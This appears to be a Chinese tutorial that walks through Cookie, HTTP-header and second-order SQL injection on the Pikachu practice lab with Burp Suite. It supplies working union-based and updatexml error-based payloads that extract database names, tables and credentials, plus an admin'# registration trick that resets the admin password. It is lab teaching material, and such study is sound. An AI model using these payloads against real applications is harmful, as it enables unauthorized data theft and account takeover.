一、核心前置说明

本文聚焦Cookie 注入、HTTP 头部注入(User-Agent/X-Forwarded-For/Referer)、二次注入三种不常见 SQL 注入类型,基于皮卡丘靶场特定关卡(20 关 / 18 关 / 19 关 / 24 关)和PHPStudy 本地环境,结合Burp Suite 抓包工具,提供逐步骤实操指南,同时强调各类型的核心触发条件、闭合技巧、避坑要点,所有操作均需在授权环境下进行,未授权测试属于非法行为。


二、Cookie 注入(皮卡丘靶场 20 关)

(一)核心定义与触发条件

  • 定义:注入点为 HTTP 请求头的Cookie字段,而非传统 GET/POST 传参,原理与常规 SQL 注入一致,仅传参位置不同。
  • 触发条件:后台将Cookie值作为数据库查询参数,且未对Cookie值做过滤 / 转义。
  • 靶场环境:皮卡丘靶场 20 关(登录页),默认账号admin、密码admin

(二)完整解题步骤

步骤 1:正常登录与页面分析
  1. 访问皮卡丘 20 关登录页,输入账号,密码,点击登录;
  2. 登录后页面显示:User-Agent(客户端信息)、IP地址(127.0.0.1)、Cookie(含username=admin)、登录时间、账号密码等信息;
  3. 观察页面无明显输入框,推测注入点可能在请求头字段(User-Agent/IP/Cookie)。
步骤 2:Burp 抓包与注入点探测
  1. 打开 Burp Suite,开启抓包(Proxy→Intercept On),刷新登录后的页面,捕获 GET 请求数据包;
  2. 发送数据包到Repeat模块,依次测试 3 个疑似注入点:
    • 测试 User-Agent:在User-Agent字段末尾加单引号(Mozilla/5.0...'),发送后页面仅同步显示单引号,无数据库报错→排除注入点;
    • 测试 IP 字段:在X-Forwarded-For字段(若不存在则手动添加)输入127.0.0.1',发送后页面无异常→排除注入点;
    • 测试 Cookie 字段:找到Cookie中的username=admin,修改为username=admin',发送后页面抛出数据库语法报错(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' limit 0,1' at line 1)→确认 Cookie 为注入点,且为字符型注入(单引号闭合)。
步骤 3:闭合测试与列数判断
  1. 构造闭合 Payload:username=admin' and '1'='1(内嵌式闭合,避免破坏 SQL 语法),发送后页面正常显示→闭合成功;
  2. 判断查询列数:使用order by N语句,构造 Payload:username=admin' order by 3 --+--+注释后续内容),发送后页面正常;
  3. 测试order by 4 --+,页面报错→确定后台查询 3 列数据
步骤 4:联合查询找显示位
  1. 构造 Payload:username=admin' and '1'='2 union select 1,2,3 --+and '1'='2使前半部分查询无结果,显示联合查询内容);
  2. 发送后页面显示23第 2、3 列为显示位
步骤 5:提取敏感数据
  1. 获取当前数据库名:Payload:username=admin' and '1'='2 union select 1,database(),version() --+,发送后显示当前数据库secret
  2. 获取数据库表名:Payload:username=admin' and '1'='2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='secret' --+,显示表名(如user);
  3. 获取账号密码:Payload:username=admin' and '1'='2 union select 1,group_concat(username),group_concat(password) from secret.user --+,显示admin及对应的 MD5 加密密码;
  4. 密码解密:将 MD5 密码放入cmd5.com,解密得到明文。
步骤 6:报错注入验证(可选,效率更高)
  1. 构造报错 Payload(使用updatexml函数):username=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
  2. 发送后页面直接报错显示数据库名secret,无需联合查询即可快速提数。

(三)核心关键点强调

  1. 注入点判断:无明显输入框时,优先测试请求头字段(Cookie/User-Agent/Referer),添加单引号触发数据库报错是关键;
  2. 闭合方式:字符型注入优先用' and '1'='1内嵌式闭合,避免直接用--+导致 Cookie 字段解析异常;
  3. 注释符选择:URL 传参可用--+,Cookie 字段中建议用#(需 URL 编码为%23),避免+被解析为空格;
  4. 后台逻辑:登录后后台会将用户名存入 Cookie,后续页面通过select * from user where username='$cookie_value'查询,未过滤导致注入;
  5. 避坑要点:修改 Cookie 后需确保请求头格式完整,避免遗漏其他 Cookie 字段(如会话 ID)导致登录失效。

三、HTTP 头部注入(皮卡丘靶场 18 关 / 19 关)

(一)核心定义与分类

  • 定义:注入点为 HTTP 请求头的特定字段(User-Agent/X-Forwarded-For/Referer),后台通过insert语句将字段值存入数据库,未做过滤。
  • 分类与靶场对应
    • User-Agent注入:皮卡丘 18 关;
    • X-Forwarded-For注入:皮卡丘 18 关(手动添加字段);
    • Referer注入:皮卡丘 19 关;
  • 共性特征:基于insert插入语句,仅支持报错注入,禁用--+/#注释符。

(二)User-Agent 注入(18 关)完整解题步骤

步骤 1:正常登录与抓包
  1. 访问皮卡丘 18 关,输入账号admin、密码admin,登录后页面显示IP地址User-Agent信息;
  2. Burp 抓包刷新页面,捕获 GET 请求数据包,发送到Repeat模块。
步骤 2:注入点探测
  1. User-Agent字段末尾加单引号(Mozilla/5.0...'),发送后页面抛出数据库报错(如You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Mozilla/5.0...'' at line 1)→确认注入点
  2. 分析报错信息,判断字段值被单引号包裹,为字符型注入。
步骤 3:闭合测试(仅支持内嵌式)
  1. 构造闭合 Payload:User-Agent: Mozilla/5.0...' and '1'='1,发送后页面无报错→闭合成功;
  2. 尝试用--+注释:User-Agent: Mozilla/5.0...' --+,发送后页面报错(insert语句语法不完整)→禁用终止式注释
步骤 4:报错注入提数
  1. 获取当前数据库名:构造 Payload:User-Agent: Mozilla/5.0...' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
    • 解析:and '1'='1确保insert语句语法完整,updatexml函数触发报错,0x7e为波浪线(避免关键字冲突);
  2. 发送后页面报错显示数据库名(如pikachu);
  3. 获取表名:Payload:User-Agent: Mozilla/5.0...' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) and '1'='1
  4. 获取账号密码:Payload:User-Agent: Mozilla/5.0...' and updatexml(1,concat(0x7e,(select group_concat(username,password) from pikachu.user),0x7e),1) and '1'='1

(三)X-Forwarded-For 注入(18 关)补充步骤

  1. 若数据包中无X-Forwarded-For字段,在请求头手动添加:X-Forwarded-For: 127.0.0.1
  2. 注入点探测:修改为X-Forwarded-For: 127.0.0.1',发送后报错→确认注入点;
  3. 闭合与提数:Payload:X-Forwarded-For: 127.0.0.1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1,后续步骤同 User-Agent 注入;
  4. 格式要求:字段名与值之间必须加空格(X-Forwarded-For: 127.0.0.1'),且请求头与请求体之间需空一行,否则请求失效。

(四)Referer 注入(19 关)补充步骤

  1. 访问皮卡丘 19 关,登录后页面显示IP地址Referer信息(Referer 为当前页面 URL);
  2. Burp 抓包,修改Referer字段为Referer: http://127.0.0.1/pikachu/',发送后报错→确认注入点;
  3. 闭合与提数:Payload:Referer: http://127.0.0.1/pikachu/' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1,其余步骤一致。

(五)核心关键点强调

  1. SQL 语句类型:后台执行insert into user_agent(ip, user_agent, username) values('$ip', '$user_agent', '$username'),注入点在$ip/$user_agent/$referer,因是插入语句,不支持联合查询,仅能报错注入;
  2. 闭合限制:必须用' and '1'='1内嵌式闭合,终止式注释(--+/#)会导致insert语句缺少字段 / 值,直接报错;
  3. 报错函数选择:优先用updatexml/extractvalue,避免floor函数因数据量问题失效;
  4. 字段添加规则:手动添加X-Forwarded-For时,严格遵守 HTTP 协议格式,否则服务器无法解析;
  5. 避坑要点:注入语句中需避免出现逗号(直接写会被解析为insert字段分隔符),可用concat函数拼接数据。

四、二次注入(皮卡丘靶场 24 关)

(一)核心定义与触发条件

  • 定义:需两步完成的注入,先向数据库插入恶意数据(含特殊字符),再通过业务逻辑引用该数据,触发 SQL 注入。
  • 触发条件
    1. 插入数据时,后台对特殊字符(单引号)做转义(如addslashes函数),但存入数据库时还原为原始恶意数据;
    2. 引用数据时,后台未做二次过滤,直接作为 SQL 参数执行。
  • 靶场环境:皮卡丘 24 关(登录 + 注册 + 密码修改功能)。

(二)完整解题步骤

步骤 1:注册恶意账号(插入恶意数据)
  1. 访问皮卡丘 24 关,点击 “注册”,填写注册信息:
    • 用户名:admin'#(核心恶意数据,#用于注释后续 SQL 内容);
    • 密码:123456
    • 确认密码:123456
  2. 点击注册,页面提示 “注册成功”,此时恶意用户名admin'#被存入数据库(后台转义后为admin\'#,存入时还原为admin'#)。
步骤 2:登录恶意账号
  1. 用注册的恶意账号(admin'#)和密码(123456)登录,登录后进入个人中心,显示 “修改密码” 功能。
步骤 3:修改密码触发注入(引用恶意数据)
  1. 进入 “修改密码” 页面,输入:
    • 当前密码:123456
    • 新密码:123
    • 确认新密码:123
  2. 点击 “修改”,页面提示 “密码修改成功”;
  3. 退出登录,尝试用admin'#+ 新密码123登录→登录失败;
  4. 用原始admin账号 + 新密码123登录→登录成功→注入触发,成功篡改 admin 密码
步骤 4:后台逻辑分析(关键验证)
  1. 修改密码时,后台执行 SQL 语句:update user set password='123' where username='$username' and password='123456'
  2. 其中$username为恶意账号admin'#,代入后语句变为:update user set password='123' where username='admin'# and password='123456'
  3. #注释后续内容,最终执行:update user set password='123' where username='admin',导致 admin 密码被篡改。

(三)核心关键点强调

  1. 恶意数据设计:用户名必须包含'#'用于闭合 SQL 语句,#用于注释后续条件,二者缺一不可;
  2. 转义与还原:注册时后台用addslashesadmin'#转义为admin\'#,但存入数据库时转义符被去除,还原为admin'#,这是注入的核心前提;
  3. 业务逻辑依赖:必须通过 “注册→登录→修改密码” 的完整流程,触发恶意数据被引用,单独注册或修改密码无法触发;
  4. 拓展场景:除登录注册外,留言板、评论区、信息提交 / 查看功能也可能存在二次注入,核心是 “插入数据→引用数据” 的流程;
  5. 避坑要点:注册时需确保恶意用户名符合格式要求(如长度限制),避免被前端表单验证拦截;修改密码时需输入正确的当前密码,否则后台会直接拒绝执行,无法触发注入。

五、通用工具使用与避坑指南

(一)Burp Suite 关键操作

  1. Repeat 模块使用:捕获数据包后发送到 Repeat 模块,便于反复修改参数测试,无需重复抓包;
  2. Payload 编码:涉及特殊字符(#/'/空格)时,需手动 URL 编码(#%23'%27空格%20);
  3. Intercept 开关:测试时开启 Intercept,确认数据包修改无误后点击 “Forward” 发送,避免误操作。

(二)通用避坑要点

  1. 环境一致性:确保 PHPStudy 中 Apache、MySQL 正常启动,皮卡丘靶场配置正确(数据库连接正常);
  2. 报错信息开启:靶场需开启 MySQL 报错显示(display_errors=On),否则无法通过报错判断注入点;
  3. 权限控制:测试后及时恢复靶场默认数据(如 admin 密码),避免影响后续使用;
  4. 语法正确性:构造 SQL 语句时,确保括号、引号成对,避免因语法错误导致测试失效。

六、总结

三种注入类型的核心差异在于注入点位置后台 SQL 语句类型

  • Cookie 注入:注入点Cookie,后台select查询,支持联合 / 报错注入;
  • HTTP 头部注入:注入点请求头字段,后台insert插入,仅支持报错注入;
  • 二次注入:无固定注入点,依赖 “插入→引用” 流程,利用数据还原与未二次过滤触发。

掌握各类型的闭合技巧(内嵌式 / 终止式)、注入方式选择(联合 / 报错)、靶场实操细节,可有效拓宽漏洞挖掘思路,同时需严格遵守网络安全法规,仅在授权环境下开展测试。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐